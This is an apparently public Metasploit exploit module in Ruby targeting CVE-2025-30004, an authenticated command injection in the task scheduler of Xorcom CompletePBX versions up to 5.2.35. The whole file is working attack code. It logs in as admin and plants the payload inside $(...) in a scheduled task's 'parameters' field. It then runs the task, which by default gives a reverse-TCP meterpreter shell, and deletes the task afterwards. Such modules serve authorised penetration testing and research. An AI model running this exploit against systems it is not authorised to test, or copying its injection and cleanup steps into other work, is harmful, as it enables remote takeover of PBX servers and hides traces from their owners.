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class MetasploitModule < Msf::Exploit::Remote
Rank = ExcellentRanking
include Msf::Exploit::Remote::HttpClient
include Msf::Exploit::Remote::HTTP::XorcomCompletePbx
prepend Msf::Exploit::Remote::AutoCheck
def initialize(info = {})
super(
update_info(
info,
'Name' => 'Xorcom CompletePBX Authenticated Command Injection via Task Scheduler',
'Description' => %q{
This module exploits an authenticated command injection vulnerability in Xorcom CompletePBX
versions <= 5.2.35. The issue resides in the task scheduler functionality, where user-controlled
input is improperly sanitized, allowing arbitrary command execution with web server privileges.
Only the superadmin user (admin) has the necessary permissions to trigger this exploit.
Even when creating a new user with maximum privileges, the vulnerability does not work.
},
'Author' => [
'Valentin Lobstein'
],
'License' => MSF_LICENSE,
'References' => [
['CVE', '2025-30004'],
['URL', 'https://xorcom.com/new-completepbx-release-5-2-36-1/'],
['URL', 'https://chocapikk.com/posts/2025/completepbx/']
],
'Privileged' => false,
'Platform' => %w[unix linux],
'Arch' => [ARCH_CMD],
'Targets' => [
[
'Unix/Linux Command Shell',
{
'Platform' => %w[unix linux],
'Arch' => ARCH_CMD,
'DefaultOptions' => { 'PAYLOAD' => 'cmd/linux/http/x64/meterpreter/reverse_tcp' }
}
]
],
'DefaultTarget' => 0,
'DisclosureDate' => '2025-03-02',
'Notes' => {
'Stability' => [CRASH_SAFE],
'Reliability' => [REPEATABLE_SESSION],
'SideEffects' => [IOC_IN_LOGS]
}
)
)
register_options([
OptString.new('USERNAME', [true, 'Valid CompletePBX username', 'admin']),
OptString.new('PASSWORD', [true, 'Valid CompletePBX password']),
])
end
def check
completepbx?
end
def get_latest_task_id(sid_cookie, task_desc)
print_status("Retrieving latest task ID for description: #{task_desc}...")
res = send_request_cgi(
'uri' => normalize_uri(target_uri.path),
'method' => 'GET',
'vars_get' => {
'class' => 'scheduler',
'method' => 'tasks',
'offset' => '0',
'max' => '20'
},
'cookie' => sid_cookie
)
fail_with(Failure::Unreachable, 'No response from target while fetching tasks') unless res
json = res.get_json_document
fail_with(Failure::UnexpectedReply, 'Invalid JSON structure') unless json.is_a?(Hash)
rows = json.fetch('rows', nil)
fail_with(Failure::UnexpectedReply, 'Missing task list in response') unless rows.is_a?(Array)
row = rows.find { |r| r.is_a?(Array) && r[2].to_s == task_desc }
fail_with(Failure::NotFound, "Task '#{task_desc}' not found") unless row
task_id = row[0]
print_good("Found task with ID: #{task_id}")
task_id
end
def create_task(sid_cookie)
task_desc = Faker::Lorem.sentence(word_count: 4)
notes = Faker::Lorem.paragraph(sentence_count: 3)
print_status("Creating malicious scheduled task with description: #{task_desc}")
res = send_request_cgi(
'uri' => normalize_uri(target_uri.path),
'method' => 'POST',
'cookie' => sid_cookie,
'ctype' => 'application/x-www-form-urlencoded',
'vars_post' => {
'script' => 'backup',
'description' => task_desc,
'starting' => Time.now.strftime('%Y-%m-%d %H:%M'),
'interval' => '1',
'interval_unit' => 'month',
'parameters' => "$(#{payload.encoded})",
'notes' => notes,
'data' => '0',
'class' => 'scheduler',
'method' => 'save_task',
'mode' => 'create'
}
)
fail_with(Failure::Unreachable, 'No response from target while creating task') unless res
json_res = res.get_json_document || fail_with(Failure::UnexpectedReply, 'Invalid JSON response')
state = json_res.fetch('state') { fail_with(Failure::UnexpectedReply, 'Failed to create the malicious task') }
print_good('Malicious task successfully created.') and return task_desc if state == 'success'
fail_with(Failure::UnexpectedReply, 'Failed to create the malicious task')
end
def run_task(sid_cookie, task_id)
print_status("Executing malicious task ID #{task_id}...")
res = send_request_cgi({
'uri' => normalize_uri(target_uri.path),
'method' => 'POST',
'cookie' => sid_cookie,
'ctype' => 'application/x-www-form-urlencoded',
'vars_post' => {
'class' => 'scheduler',
'method' => 'run_task',
'mode' => 'run',
'data' => task_id.to_s
}
})
unless res
fail_with(Failure::Unreachable, 'No response from target while executing task')
end
print_good('Task executed successfully!')
end
def delete_task(sid_cookie, task_id)
%w[delete deleteConfirmed].each do |mode|
print_status("Sending delete request (mode=#{mode}) for task ID #{task_id}...")
send_request_cgi({
'uri' => normalize_uri(target_uri.path),
'method' => 'POST',
'cookie' => sid_cookie,
'ctype' => 'application/x-www-form-urlencoded',
'vars_post' => {
'class' => 'scheduler',
'method' => 'delete_task',
'mode' => mode,
'data' => task_id.to_s
}
})
end
print_good("Task #{task_id} deleted successfully!")
end
def exploit
sid_cookie = completepbx_login(datastore['USERNAME'], datastore['PASSWORD'])
task_desc = create_task(sid_cookie)
task_id = get_latest_task_id(sid_cookie, task_desc)
run_task(sid_cookie, task_id)
ensure
delete_task(sid_cookie, task_id) if task_id
end
end
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